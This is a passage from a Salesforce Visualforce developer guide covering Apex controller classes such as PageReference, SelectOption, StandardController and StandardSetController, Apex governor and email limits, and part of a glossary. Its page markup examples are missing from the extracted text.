side redirect. This type of redirect performs an HTTP GET request, and flushes the view state, which uses POST. If set to false, the redirect is a server-side forward that preserves the view state if and only if the target page uses the same controller and contains the proper subset of extensions used by the source page. Note that if the URL of the PageReference object is set to a website outside of the salesforce.com domain, or to a page with a different controller or controller 536 Appendix C: Apex Classes Used in Visualforce Controllers Name Arguments Return Type PageReference Class Description extension, the redirect always occurs, regardless of whether the redirect attribute is set to true or false. Request Headers The following table is a non-exhaustive list of headers that are set on requests. Header Description Host The host name requested in the request URL. This header is always set on Force.com Site requests and My Domain requests. This header is optional on other requests when HTTP/1.0 is used instead of HTTP/1.1. Referer The URL that is either included or linked to the current request's URL. This header is optional. User-Agent The name, version, and extension support of the program that initiated this request, such as a Web browser. This header is optional and can be overridden in most browsers to be a different value. Therefore, this header should not be relied upon. CipherSuite If this header exists and has a non-blank value, this means that the request is using HTTPS. Otherwise, the request is using HTTP. The contents of a non-blank value are not defined by this API, and can be changed without notice. X-Salesforce-SIP The source IP address of the request. This header is always set on HTTP and HTTPS requests that are initiated outside of Salesforce's data centers. Note: If a request passes through a content delivery network (CDN) or proxy server, the source IP address might be altered, and no longer the original client IP address. X-Salesforce-Forwarded-To The fully qualified domain name of the Salesforce instance that is handling this request. This header is always set on HTTP and HTTPS requests that are initiated outside of Salesforce's data centers. Example: Retrieving Query String Parameters The following example shows how to use a PageReference object to retrieve a query string parameter in the current page URL. In this example, the getAccount method references the id query string parameter: public class MyController { public Account getAccount() { return [SELECT Id, Name FROM Account WHERE Id = :ApexPages.currentPage().getParameters().get('Id')]; } } The following page markup calls the getAccount method from the controller above: You are viewing the {!account.name} account. 537 Appendix C: Apex Classes Used in Visualforce Controllers PageReference Class Note: For this example to render properly, you must associate the Visualforce page with a valid account record in the URL. For example, if 001D000000IRt53 is the account ID, the resulting URL should be: https://Salesforce_instance/apex/MyFirstPage?id=001D000000IRt53 The getAccount method uses an embedded SOQL query to return the account specified by the id parameter in the URL of the page. To access id, the getAccount method uses the ApexPages namespace: First the currentPage method returns the PageReference instance for the current page. PageReference returns a reference to a Visualforce page, including its query string parameters. Using the page reference, use the getParameters method to return a map of the specified query string parameter names and values. Then a call to the get method specifying id returns the value of the id parameter itself. • • • Example: Navigating to a New Page as the Result of an Action Method Any action method in a custom controller or controller extension can return a PageReference object as the result of the method. If the redirect attribute on the PageReference is set to true, the user navigates to the URL specified by the PageReference. The following example shows how this can be implemented with a save method. In this example, the PageReference returned by the save method redirects the user to the detail page for the account record that was just saved: public class mySecondController { Account account; public Account getAccount() { if(account == null) account = new Account(); return account; } public PageReference save() { // Add the account to the database. insert account; // Send the user to the detail page for the new account. PageReference acctPage = new ApexPages.StandardController(account).view(); acctPage.setRedirect(true); return acctPage; } } The following page markup calls the save method from the controller above. When a user clicks Save, he or she is redirected to the detail page for the account just created: 538 Appendix C: Apex Classes Used in Visualforce Controllers SelectOption Class SelectOption Class A SelectOption object specifies one of the possible values for a Visualforce selectCheckboxes, selectList, or selectRadio component. It consists of a label that is displayed to the end user, and a value that is returned to the controller if the option is selected. A SelectOption can also be displayed in a disabled state, so that a user cannot select it as an option, but can still view it. Instantiation In a custom controller or controller extension, you can instantiate a SelectOption in one of the following ways: • SelectOption option = new SelectOption(value, label, isDisabled); where value is the String that is returned to the controller if the option is selected by a user, label is the String that is displayed to the user as the option choice, and isDisabled is a Boolean that, if true, specifies that the user cannot select the option, but can still view it. • SelectOption option = new SelectOption(value, label); where value is the String that is returned to the controller if the option is selected by a user, and label is the String that is displayed to the user as the option choice. Because a value for isDisabled is not specified, the user can both view and select the option. Methods The SelectOption methods are all called by and operate on a particular instance of SelectOption. The table below describes the instance methods for SelectOption. Name Arguments Return Type Description getDisabled Boolean Returns the current value of the SelectOption object's isDisabled attribute. If isDisabled is set to true, the user can view the option, but cannot select it. If isDisabled is set to false, the user can both view and select the option. getEscapeItem Boolean Returns the current value of the SelectOption object's itemEscaped attribute. If itemEscaped is set to true, sensitive HTML and XML characters are escaped in the HTML output generated by this component. If itemEscaped is set to false, items are rendered as written. getLabel String Returns the option label that is displayed to the user. getValue String Returns the option value that is returned to the controller if a user selects the option. 539 Appendix C: Apex Classes Used in Visualforce Controllers SelectOption Class Name Arguments Return Type Description setDisabled Boolean Void Sets the value of the SelectOption object's isDisabled attribute. If isDisabled is set to true, the user can view the option, but cannot select it. If isDisabled is set to false, the user can both view and select the option. Void Sets the value of the SelectOption object's itemEscaped attribute. If itemEscaped is set to true, sensitive HTML and XML characters are escaped in the HTML output generated by this component. If itemEscaped is set to false, items are rendered as written. isDisabled setEscapeItem Boolean itemsEscaped setLabel String l Void Sets the value of the option label that is displayed to the user. setValue String v Void Sets the value of the option value that is returned to the controller if a user selects the option. Example The following example shows how a list of SelectOptions objects can be used to provide possible values for a selectCheckboxes component on a Visualforce page. In the following custom controller, the getItems method defines and returns the list of possible SelectOption objects: public class sampleCon { String[] countries = new String[]{}; public PageReference test() { return null; } public List getItems() { List options = new List(); options.add(new SelectOption('US','US')); options.add(new SelectOption('CANADA','Canada')); options.add(new SelectOption('MEXICO','Mexico')); return options; } public String[] getCountries() { return countries; } public void setCountries(String[] countries) { this.countries = countries; } } In the following page markup, the tag uses the getItems method from the controller above to retrieve the list of possible values. Because is a child of the tag, the options are displayed as checkboxes: 540 Appendix C: Apex Classes Used in Visualforce Controllers StandardController Class

You have selected:

{!c}
StandardController Class StandardController objects reference the pre-built Visualforce controllers provided by salesforce.com. The only time it is necessary to refer to a StandardController object is when defining an extension for a standard controller. StandardController is the data type of the single argument in the extension class constructor. Instantiation You can instantiate a StandardController in the following way: ApexPages.StandardController sc = new ApexPages.StandardController(sObject); Methods StandardController methods are all called by and operate on a particular instance of a StandardController. The table below describes the instance methods for StandardController. Name Arguments Return Type Description addFields List Void When a Visualforce page is loaded, the fields accessible to the page are based on the fields referenced in the Visualforce markup. This method adds a reference to each field specified in fieldNames so that the controller can explicitly access those fields as well. fieldNames This method should be called before a record has been loaded—typically, it's called by the controller's constructor. If this method is called outside of the constructor, you must use the reset() method before calling addFields(). The strings in fieldNames can either be the API name of a field, such as AccountId, or they can be explicit relationships to fields, such as foo__r.myField__c. This method is only for controllers used by dynamicVisualforce bindings. 541 Appendix C: Apex Classes Used in Visualforce Controllers Name Arguments Return Type StandardController Class Description cancel System.PageReference Returns the PageReference of the cancel page. delete System.PageReference Deletes record and returns the PageReference of the delete page. edit System.PageReference Returns the PageReference of the standard edit page. getId String Returns the ID of the record that is currently in context, based on the value of the id query string parameter in the Visualforce page URL. getRecord SObject Returns the record that is currently in context, based on the value of the id query string parameter in the Visualforce page URL. Note that only the fields that are referenced in the associated Visualforce markup are available for querying on this SObject. All other fields, including fields from any related objects, must be queried using a SOQL expression. Tip: You can work around this restriction by including a hidden component that references any additional fields that you want to query. Hide the component from display by setting the component's rendered attribute to false. For example: reset Void Forces the controller to reacquire access to newly referenced fields. Any changes made to the record prior to this method call are discarded. This method is only used if addFields is called outside the constructor, and it must be called directly before addFields. This method is only for controllers used by dynamicVisualforce bindings. save System.PageReference Saves changes and returns the updated PageReference. view System.PageReference Returns the PageReference object of the standard detail page. 542 Appendix C: Apex Classes Used in Visualforce Controllers StandardSetController Class Example The following example shows how a StandardController object can be used in the constructor for a standard controller extension: public class myControllerExtension { private final Account acct; // The extension constructor initializes the private member // variable acct by using the getRecord method from the standard // controller. public myControllerExtension(ApexPages.StandardController stdController) { this.acct = (Account)stdController.getRecord(); } public String getGreeting() { return 'Hello ' + acct.name + ' (' + acct.id + ')'; } } The following Visualforce markup shows how the controller extension from above can be used in a page: {!greeting}

StandardSetController Class StandardSetController objects allow you to create list controllers similar to, or as extensions of, the pre-built Visualforce list controllers provided by Salesforce. The StandardSetController class also contains a prototype object. This is a single sObject contained within the Visualforce StandardSetController class. If the prototype object's fields are set, those values are used during the save action, meaning that the values are applied to every record in the set controller's collection. This is useful for writing pages that perform mass updates (applying identical changes to fields within a collection of objects). Note: Fields that are required in other Salesforce objects will keep the same requiredness when used by the prototype object. Instantiation You can instantiate a StandardSetController in either of the following ways: • From a list of sObjects: List accountList = [SELECT Name FROM Account LIMIT 20]; ApexPages.StandardSetController ssc = new ApexPages.StandardSetController(accountList); 543 Appendix C: Apex Classes Used in Visualforce Controllers • StandardSetController Class From a query locator: ApexPages.StandardSetController ssc = new ApexPages.StandardSetController(Database.getQueryLocator([SELECT Name,CloseDate FROM Opportunity])); Note: The maximum record limit for StandardSetController is 10,000 records. Instantiating StandardSetController using a query locator returning more than 10,000 records causes a LimitException to be thrown. However, instantiating StandardSetController with a list of more than 10,000 records doesn’t throw an exception, and instead truncates the records to the limit. Methods StandardSetController methods are all called by and operate on a particular instance of a StandardSetController. The table below describes the instance methods for StandardSetController. Name Arguments Return Type Description cancel System.PageReference Returns the PageReference of the original page, if known, or the home page. first Void Returns the first page of records. getCompleteResult Boolean Indicates whether there are more records in the set than the maximum record limit. If this is false, there are more records than you can process using the list controller. The maximum record limit is 10,000 records. getFilterId String Returns the ID of the filter that is currently in context. getHasNext Boolean Indicates whether there are more records after the current page set. getHasPrevious Boolean Indicates whether there are more records before the current page set. getListViewOptions System.SelectOption[] Returns a list of the listviews available to the current user. getPageNumber Integer Returns the page number of the current page set. Note that the first page returns 1. getPageSize Integer Returns the number of records included in each page set. getRecord sObject Returns the sObject that represents the changes to the selected records.This retrieves the prototype object contained within the class, and is used for performing mass updates. getRecords sObject[] Returns the list of sObjects in the current page set. This list is immutable, i.e. you can't call clear() on it. getResultSize Integer Returns the number of records in the set. getSelected sObject[] Returns the list of sObjects that have been selected. last Void Returns the last page of records. 544 Appendix C: Apex Classes Used in Visualforce Controllers Name Arguments StandardSetController Class Return Type Description next Void Returns the next page of records. previous Void Returns the previous page of records. save System.PageReference Inserts new records or updates existing records that have been changed. After this operation is finished, it returns a PageReference to the original page, if known, or the home page. setFilterID String filterId Void Sets the filter ID of the controller. setpageNumber Integer pageNumber Void Sets the page number. setPageSize Integer pageSize Void Sets the number of records in each page set. setSelected sObjects[] Void Set the selected records. selectedRecords Example The following example shows how a StandardSetController object can be used in the constructor for a custom list controller: public class opportunityList2Con { // ApexPages.StandardSetController must be instantiated // for standard list controllers public ApexPages.StandardSetController setCon { get { if(setCon == null) { setCon = new ApexPages.StandardSetController(Database.getQueryLocator( [SELECT Name, CloseDate FROM Opportunity])); } return setCon; } set; } // Initialize setCon and return a list of records public List getOpportunities() { return (List) setCon.getRecords(); } } The following Visualforce markup shows how the controller above can be used in a page: 545 Appendix D Understanding Execution Governors and Limits Because Apex runs in a multitenant environment, the Apex runtime engine strictly enforces a number of limits to ensure that runaway Apex does not monopolize shared resources. These limits, or governors, track and enforce the statistics outlined in the following table. If some Apex code ever exceeds a limit, the associated governor issues a runtime exception that cannot be handled. Governor limits apply to an entire organization, as well as to specific namespaces. For example, if you install a managed package created by a salesforce.com ISV Partner from Force.com AppExchange, the components in the package belong to a namespace unique from other components in your organization. Consequently, any Apex code in that package can issue up to 150 DML statements while executing. In addition, any Apex code that is native to your organization can also issue up to 150 DML statements, meaning more than 150 DML statements might execute during a single request if code from the managed package and your native organization both execute. Conversely, if you install a package from AppExchange that is not created by a salesforce.com ISV Partner, the code from that package does not have its own separate governor limit count. Any resources it uses counts against the total for your organization. Cumulative resource messages and warning emails are also generated based on managed package namespaces as well. For more information on salesforce.com ISV Partner packages, see salesforce.com Partner Programs. Description Limit 1 Total number of SOQL queries issued 100 Total number of SOQL queries issued for Batch Apex and future methods1 200 Total number of records retrieved by SOQL queries 50,000 Total number of records retrieved by Database.getQueryLocator 10,000 Total number of SOSL queries issued 20 Total number of records retrieved by a single SOSL query 200 Total number of DML statements issued2 150 Total number of records processed as a result of DML statements, Approval.process, or 10,000 database.emptyRecycleBin Total number of executed code statements 200,000 Total number of executed code statements for Batch Apex and future methods 1,000,000 3 Total heap size 6 MB Total heap size for Batch Apex and future methods 12 MB 546 Appendix D: Understanding Execution Governors and Limits Description Limit Total stack depth for any Apex invocation that recursively fires triggers due to insert, update, 16 or delete statements4 For loop list batch size 200 Total number of callouts (HTTP requests or Web services calls) in a request 10 Maximum timeout for all callouts (HTTP requests or Web services calls) in a request 120 seconds Default timeout of callouts (HTTP requests or Web services calls) in a request 10 seconds 5 Total number of methods with the future annotation allowed per Apex invocation 10 Maximum size of callout request or response (HTTP request or Web services call)6 3 MB Total number of sendEmail methods allowed 10 7 Total number of describes allowed 100 Total number of classes that can be scheduled concurrently 25 8 Total number of test classes that can be queued per a 24-hour period The greater of 500 or 10 multiplied by the number of test classes in the organization 1 In a SOQL query with parent-child relationship sub-queries, each parent-child relationship counts as an additional query. These types of queries have a limit of three times the number for top-level queries. The row counts from these relationship queries contribute to the row counts of the overall code execution. In addition to static SOQL statements, calls to the following methods count against the number of SOQL statements issued in a request. • • • 2 • • • • • • • • • • • • 3 Database.countQuery Database.getQueryLocator Database.query Calls to the following methods count against the number of DML queries issued in a request. Approval.process Database.convertLead Database.emptyRecycleBin Database.rollback Database.setSavePoint delete and Database.delete insert and Database.insert merge undelete and Database.undelete update and Database.update upsert and Database.upsert System.runAs Email services heap size is 36 MB. 4 Recursive Apex that does not fire any triggers with insert, update, or delete statements exists in a single invocation, with a single stack. Conversely, recursive Apex that fires a trigger spawns the trigger in a new Apex invocation, separate from the invocation of the code that caused it to fire. Because spawning a new invocation of Apex is a more expensive operation than a recursive call in a single invocation, there are tighter restrictions on the stack depth of these types of recursive calls. 547 Appendix D: Understanding Execution Governors and Limits 5 Salesforce also imposes a limit on the number of future method invocations: 200 method calls per full Salesforce user license or Force.com App Subscription user license, per 24 hours. This is an organization-wide limit. Chatter Only, Chatter customer users, Customer Portal User, and partner portal User licenses aren’t included in this limit calculation. For example, suppose your organization has three full Salesforce licenses, two Force.com App Subscription licenses, and 100 Customer Portal User licenses. Your entire organization is limited to only 1,000 method calls every 24 hours, calculated as 200 x (3+2), not 200 x (3+2+100). 6 The HTTP request and response sizes count towards the total heap size. 7 Describes include the following methods and objects. • • • • • ChildRelationship objects RecordTypeInfo objects PicklistEntry objects fields calls fieldsets calls 8 This limit applies to tests running asynchronously. This includes tests started through the Salesforce user interface including the Developer Console or by inserting ApexTestQueueItem objects using SOAP API. Limits apply individually to each testMethod. Use the Limits methods to determine the code execution limits for your code while it is running. For example, you can use the getDMLStatements method to determine the number of DML statements that have already been called by your program, or the getLimitDMLStatements method to determine the total number of DML statements available to your code. For best performance, SOQL queries must be selective, particularly for queries inside of triggers. To avoid long execution times, non-selective SOQL queries may be terminated by the system. Developers will receive an error message when a non-selective query in a trigger executes against an object that contains more than 100,000 records. To avoid this error, ensure that the query is selective. See More Efficient SOQL Queries. For Apex saved using Salesforce.com API version 20.0 or earlier, if an API call causes a trigger to fire, the batch of 200 records to process is further split into batches of 100 records. For Apex saved using Salesforce.com API version 21.0 and later, no further splits of API batches occur. Note that static variable values are reset between batches, but governor limits are not. Do not use static variables to track state information between batches. In addition to the execution governor limits, Apex has the following limits. • • • The maximum number of characters for a class is 1 million. The maximum number of characters for a trigger is 1 million. The maximum amount of code used by all Apex code in an organization is 3 MB. Note: This limit does not apply to certified managed packages installed from AppExchange, (that is, an app that has been marked AppExchange Certified). The code in those types of packages belong to a namespace unique from the code in your organization. For more information on AppExchange Certified packages, see the Force.com AppExchange online help. This limit also does not apply to any code included in a class defined with the @isTest annotation. • • • • There is a limit on the method size. Large methods that exceed the allowed limit cause an exception to be thrown during the execution of your code. Like in Java, the method size limit in Apex is 65,535 bytecode instructions in compiled form. If a SOQL query runs more than 120 seconds, the request can be canceled by Salesforce. Each Apex request is limited to 10 minutes of execution. A callout request is limited to a maximum of 20 simultaneous requests to URLs with the same host. The host is defined by the unique subdomain for the URL, for example, www.mysite.com and extra.mysite.com are two different hosts. This limit is calculated across all organizations that access the same host. If this limit is exceeded, a CalloutException will be thrown. 548 Appendix D: Understanding Execution Governors and Limits • • • The maximum number of records that an event report returns for a user who is not a system administrator is 20,000, for system administrators, 100,000. Each organization is allowed 10 synchronous concurrent requests for long-running requests that last longer than 5 seconds. If additional requests are made while the 10 long-running requests are still running, they are denied. A user can have up to 50 query cursors open at a time. For example, if 50 cursors are open and a client application still logged in as the same user attempts to open a new one, the oldest of the 50 cursors is released. Note that this limit is different for the batch Apex start method, which can have up to five query cursors open at a time per user. The other batch Apex methods have the higher limit of 50 cursors. Cursor limits for different Force.com features are tracked separately. For example, you can have 50 Apex query cursors, 50 batch cursors, and 50 Visualforce cursors open at the same time. • • • In a single transaction, you can only reference 10 unique namespaces. For example, suppose you have an object that executes a class in a managed package when the object is updated. Then that class updates a second object, which in turn executes a different class in a different package. Even though the second package wasn’t accessed directly by the first, because it occurs in the same transaction, it’s included in the number of namespaces being accessed in a single transaction. Any deployment of Apex is limited to 5,000 code units of classes and triggers. If you use the Data.com Clean product and its automated jobs, and you have set up Apex triggers with SOQL queries to run when account, contact, or lead records, the queries may interfere with Clean jobs for those objects. Your Apex triggers (combined) should not exceed 200 SOQL queries per batch. If they do, your Clean job for that object will fail. In addition, if your triggers call future methods, they will be subject to a limit of 10 future calls per batch. Email Limits Inbound Email Limits Email Services: Maximum Number of Email Messages Processed (Includes limit for On-Demand Email-to-Case) Number of user licenses multiplied by Number of user licenses multiplied by 1,000, up to a daily maximum of 1,000,000 Email Services: Maximum Size of Email Message (Body and Attachments) 10 MB1 On-Demand Email-to-Case: Maximum Email Attachment Size 10 MB On-Demand Email-to-Case: Maximum Number of Email Messages Processed Number of user licenses multiplied by 1,000, up to a daily maximum of (Counts toward limit for Email Services) 1,000,000 1 The maximum size of email messages for Email Services varies depending on language and character set. When defining email services, note the following: • • • • • An email service only processes messages it receives at one of its addresses. Salesforce limits the total number of messages that all email services combined, including On-Demand Email-to-Case, can process daily. Messages that exceed this limit are bounced, discarded, or queued for processing the next day, depending on how you configure the failure response settings for each email service. Salesforce calculates the limit by multiplying the number of user licenses by 1,000, up to a daily maximum of 1,000,000. For example, if you have ten licenses, your organization can process up to 10,000 email messages a day. Email service addresses that you create in your sandbox cannot be copied to your production organization. For each email service, you can tell Salesforce to send error email messages to a specified address instead of the sender's email address. Email services rejects email messages and notifies the sender if the email (combined body text, body HTML and attachments) exceeds approximately 10 MB (varies depending on language and character set). 549 Appendix D: Understanding Execution Governors and Limits Outbound Email: Limits for Single and Mass Email Sent Using Apex You can send single emails to a maximum of 1,000 external email addresses per day based on Greenwich Mean Time (GMT). Single emails sent using the application don't count towards this limit. You can send mass email to a total of 1,000 external email addresses per day per organization based on Greenwich Mean Time (GMT). The maximum number of external addresses you can include in each mass email depends on the Edition of Salesforce you are using: Edition Address Limit per Mass Email Professional 250 Enterprise Edition 500 Unlimited Edition 1,000 Note: Note the following about email limits: • • • The single and mass email limits don't take unique addresses into account. For example, if you have johndoe@example.com in your email 10 times, that counts as 10 against the limit. You can send an unlimited amount of email to your internal users. These limits also apply to emails sent using the API and Apex. In Developer Edition organizations and organizations evaluating Salesforce during a trial period, your organization can send mass email to no more than 10 external email addresses per day. This lower limit does not apply if your organization was created before the Winter '12 release and already had mass email enabled with a higher limit. Batch Apex Governor Limits Keep in mind the following governor limits for batch Apex: • • Up to five queued or active batch jobs are allowed for Apex. A user can have up to 50 query cursors open at a time. For example, if 50 cursors are open and a client application still logged in as the same user attempts to open a new one, the oldest of the 50 cursors is released. Note that this limit is different for the batch Apex start method, which can have up to five query cursors open at a time per user. The other batch Apex methods have the higher limit of 50 cursors. Cursor limits for different Force.com features are tracked separately. For example, you can have 50 Apex query cursors, 50 batch cursors, and 50 Visualforce cursors open at the same time. • • • • • • A maximum of 50 million records can be returned in the Database.QueryLocator object. If more than 50 million records are returned, the batch job is immediately terminated and marked as Failed. If the start method returns a QueryLocator, the optional scope parameter of Database.executeBatch can have a maximum value of 2,000. If set to a higher value, Salesforce chunks the records returned by the QueryLocator into smaller batches of up to 2,000 records. If the start method returns an iterable, the scope parameter value has no upper limit; however, if you use a very high number, you may run into other limits. If no size is specified with the optional scope parameter of Database.executeBatch, Salesforce chunks the records returned by the start method into batches of 200, and then passes each batch to the execute method. Apex governor limits are reset for each execution of execute. The start, execute, and finish methods can implement up to 10 callouts each. Batch executions are limited to 10 callouts per method execution. The maximum number of batch executions is 250,000 per 24 hours. 550 Appendix D: Understanding Execution Governors and Limits • Only one batch Apex job's start method can run at a time in an organization. Batch jobs that haven’t started yet remain in the queue until they're started. Note that this limit doesn’t cause any batch job to fail and execute methods of batch Apex jobs still run in parallel if more than one job is running. 551 Glossary A |B |C |D |E |F |G |H |I |J |K |L |M |N |O |P |Q |R |S |T |U |V |W |X |Y |Z A Account An account is an organization, company, or consumer that you want to track—for example, a customer, partner, or competitor. Activity (Calendar Events/Tasks) Planned task or event, optionally related to another type of record such as an account, contact, lead, opportunity, or case. Administrator (System Administrator) One or more individuals in your organization who can configure and customize the application. Users assigned to the System Administrator profile have administrator privileges. Apex Apex is a strongly typed, object-oriented programming language that allows developers to execute flow and transaction control statements on the Force.com platform server in conjunction with calls to the Force.com API. Using syntax that looks like Java and acts like database stored procedures, Apex enables developers to add business logic to most system events, including button clicks, related record updates, and Visualforce pages. Apex code can be initiated by Web service requests and from triggers on objects. Apex Controller See Controller, Visualforce. Apex Page See Visualforce Page. API Version See Version. App Short for “application.” A collection of components such as tabs, reports, dashboards, and Visualforce pages that address a specific business need. Salesforce provides standard apps such as Sales and Call Center. You can customize the standard apps to match the way you work. In addition, you can package an app and upload it to the AppExchange along with related components such as custom fields, custom tabs, and custom objects. Then, you can make the app available to other Salesforce users from the AppExchange. 552 Glossary B Boolean Operators You can use Boolean operators in report filters to specify the logical relationship between two values. For example, the AND operator between two values yields search results that include both values. Likewise, the OR operator between two values yields search results that include either value. C Campaign A marketing initiative, such as an advertisement, direct mail, or conference, that you conduct in order to generate prospects and build brand awareness. Case Detailed description of a customer’s feedback, problem, or question. Used to track and solve your customers’ issues. Clone Clone is the name of a button or link that allows you to create a new item by copying the information from an existing item, for example, a contact or opportunity. Collapsible Section Sections on detail pages that users can hide or show. Contact Contacts are the individuals associated with your accounts. Contract A contract is an agreement defining the terms of business between parties. Controller, Visualforce An Apex class that provides a Visualforce page with the data and business logic it needs to run. Visualforce pages can use the standard controllers that come by default with every standard or custom object, or they can use custom controllers. Controller Extension A controller extension is an Apex class that extends the functionality of a standard or custom controller. Component, Visualforce Something that can be added to a Visualforce page with a set of tags, for example, . Visualforce includes a number of standard components, or you can create your own custom components. Component Reference, Visualforce A description of the standard and custom Visualforce components that are available in your organization. You can access the component library from the development footer of any Visualforce page or the Visualforce Developer's Guide. Cookie Client-specific data used by some Web applications to store user and session-specific information. Salesforce issues a session “cookie” only to record encrypted authentication information for the duration of a specific session. Custom Controller A custom controller is an Apex class that implements all of the logic for a page without leveraging a standard controller. Use custom controllers when you want your Visualforce page to run entirely in system mode, which does not enforce the permissions and field-level security of the current user. 553 Glossary Custom Field A field that can be added in addition to the standard fields to customize Salesforce for your organization’s needs. Custom Help Custom text administrators create to provide users with on-screen information specific to a standard field, custom field, or custom object. Custom Links Custom links are URLs defined by administrators to integrate your Salesforce data with external websites and back-office systems. Formerly known as Web links. Custom Object Custom records that allow you to store information unique to your organization. Custom S-Control Note: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain unaffected, and can still be edited. Custom Web content for use in custom links. Custom s-controls can contain any type of content that you can display in a browser, for example a Java applet, an Active-X control, an Excel file, or a custom HTML Web form. Custom App See App. D Data State The structure of data in an object at a particular point in time. Dependent Field Any custom picklist or multi-select picklist field that displays available values based on the value selected in its corresponding controlling field. Detail A page that displays information about a single object record. The detail page of a record allows you to view the information, whereas the edit page allows you to modify it. A term used in reports to distinguish between summary information and inclusion of all column data for all information in a report. You can toggle the Show Details/Hide Details button to view and hide report detail information. Detail View The Console tab's center frame, which is the detail page view of any record selected from any of the console’s other frames. The detail view displays the same page layouts defined for the object’s detail pages. When a record is displayed in the detail view, it is highlighted in the list view. Developer Edition A free, fully-functional Salesforce organization designed for developers to extend, integrate, and develop with the Force.com platform. Developer Edition accounts are available on developer.force.com. 554 Glossary E Email Template A form email that communicates a standard message, such as a welcome letter to new employees or an acknowledgement that a customer service request has been received. Email templates can be personalized with merge fields, and can be written in text, HTML, or custom format. Event An event is an activity that has a scheduled time. For example, a meeting, or a scheduled phone call. F Facet A child of another Visualforce component that allows you to override an area of the rendered parent with the contents of the facet. Field-Level Help Custom help text that you can provide for any standard or custom field. It displays when users hover a mouse over the help icon adjacent to that field. Force.com App Menu A menu that enables users to switch between customizable applications (or “apps”) with a single click. The Force.com app menu displays at the top of every page in the user interface. Formula Field A type of custom field. Formula fields automatically calculate their values based on the values of merge fields, expressions, or other values. Function Built-in formulas that you can customize with input parameters. For example, the DATE function creates a date field type from a given year, month, and day. G Get Request A get request is made when a user initially requests a Visualforce page, either by entering a URL or clicking a link or button. Getter Methods Methods that enable developers to display database and other computed values in page markup. Methods that return values. See also Setter Methods. H No Glossary items for this entry. I No Glossary items for this entry. 555 Glossary J Junction Object A custom object with two master-detail relationships. Using a custom junction object, you can model a “many-to-many” relationship between two objects. For example, you may have a custom object called “Bug” that relates to the standard case object such that a bug could be related to multiple cases and a case could also be related to multiple bugs. K No Glossary items for this entry. L Landing Page A landing page is an existing page on your corporate website or a page that you have designed specifically for your Google advertisements. Landing pages typically contain an offer and a Web-to-Lead form. Lead A lead is a sales prospect who has expressed interest in your product or company. Length Parameter for custom text fields that specifies the maximum number of characters (up to 255) that a user can enter in the field. Parameter for number, currency, and percent fields that specifies the number of digits you can enter to the left of the decimal point, for example, 123.98 for an entry of 3. M Master-Detail Relationship A relationship between two different types of records that associates the records with each other. For example, accounts have a master-detail relationship with opportunities. This type of relationship affects record deletion, security, and makes the lookup relationship field required on the page layout. Merge Field A merge field is a field you can put in an email template, mail merge template, custom link, or formula to incorporate values from a record. For example, Dear {!Contact.FirstName}, uses a contact merge field to obtain the value of a contact record's First Name field to address an email recipient by his or her first name. Mobile Configuration A set of parameters that determines the data Salesforce transmits to users' mobile devices, and which users receive that data on their mobile devices. Organizations can create multiple mobile configurations to simultaneously suit the needs of different types of mobile users. N Notes Miscellaneous information pertaining to a specific record. 556 Glossary O Object An object allows you to store information in your Salesforce organization. The object is the overall definition of the type of information you are storing. For example, the case object allow you to store information regarding customer inquiries. For each object, your organization will have multiple records that store the information about specific instances of that type of data. For example, you might have a case record to store the information about Joe Smith's training inquiry and another case record to store the information about Mary Johnson's configuration issue. Object-Level Help Custom help text that you can provide for any custom object. It displays on custom object record home (overview), detail, and edit pages, as well as list views and related lists. Opportunities Opportunities track your sales and pending deals. Organization A deployment of Salesforce with a defined set of licensed users. An organization is the virtual space provided to an individual customer of salesforce.com. Your organization includes all of your data and applications, and is separate from all other organizations. Outbound Message An outbound message is a workflow, approval, or milestone action that sends the information you specify to an endpoint you designate, such as an external service. An outbound message sends the data in the specified fields in the form of a SOAP message to the endpoint. Outbound messaging is configured in the Salesforce setup menu. Then you must configure the external endpoint. You can create a listener for the messages using the SOAP API. Owner Individual user to which a record (for example, a contact or case) is assigned. P Package Version A package version is a number that identifies the set of components uploaded in a package. The version number has the format majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen value during every major release. The patchNumber is generated and updated only for a patch release. Unmanaged packages are not upgradeable, so each package version is simply a set of components for distribution. A package version has more significance for managed packages. Packages can exhibit different behavior for different versions. Publishers can use package versions to evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking existing customer integrations using the package. See also Patch and Patch Development Organization. Page Layout Page layout is the organization of fields, custom links, and related lists on a record detail or edit page. Use page layouts primarily for organizing pages for your users. In Enterprise, Unlimited, and Developer Editions, use field-level security to restrict users’ access to specific fields. Partial Page An AJAX behavior where only a specific portion of a page is updated following some user action, rather than a reload of the entire page. 557 Glossary Postback Request A postback request is made when user interaction requires a Visualforce page update, such as when a user clicks on a Save button and triggers a save action. Primary Contact Field in company information that lists the primary contact for your organization. Also indicates the primary contact associated with an account, contract, or opportunity. Specified as a checkbox in the Contact Roles related list of an account, contract, or opportunity. Product A product is any item or service your organization sells. Products are defined in a price book, and can be added to opportunities. Available in Professional, Enterprise, Unlimited, and Developer Editions only. Prototype object This is a single sObject contained within the Visualforce StandardSetController class. If the prototype object's fields are set, those values are used during the save action, meaning that the values are applied to every record in the set controller's collection. Q No Glossary items for this entry. R Read Only One of the standard profiles to which a user can be assigned. Read Only users can view and report on information based on their role in the organization. (That is, if the Read Only user is the CEO, they can view all data in the system. If the Read Only user has the role of Western Rep, they can view all data for their role and any role below them in the hierarchy.) Record A single instance of a Salesforce object. For example, “John Jones” might be the name of a contact record. Record Type A record type is a field available for certain records that can include some or all of the standard and custom picklist values for that record. You can associate record types with profiles to make only the included picklist values available to users with that profile. Related List A section of a record or other detail page that lists items related to that record. For example, the Stage History related list of an opportunity or the Open Activities related list of a case. Related Object Objects chosen by an administrator to display in the Console tab's mini view when records of a particular type are shown in the console's detail view. For example, when a case is in the detail view, an administrator can choose to display an associated account, contact, or asset in the mini view. Relationship A connection between two objects, used to create related lists in page layouts and detail levels in reports. Matching values in a specified field in both objects are used to link related data; for example, if one object stores data about companies and another object stores data about people, a relationship allows you to find out which people work at the company. 558 Glossary Report A report returns a set of records that meets certain criteria, and displays it in organized rows and columns. Report data can be filtered, grouped, and displayed graphically as a chart. Reports are stored in folders, which control who has access. See Tabular Report, Summary Report, and Matrix Report. S S-Control Note: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain unaffected, and can still be edited. Custom Web content for use in custom links. Custom s-controls can contain any type of content that you can display in a browser, for example a Java applet, an Active-X control, an Excel file, or a custom HTML Web 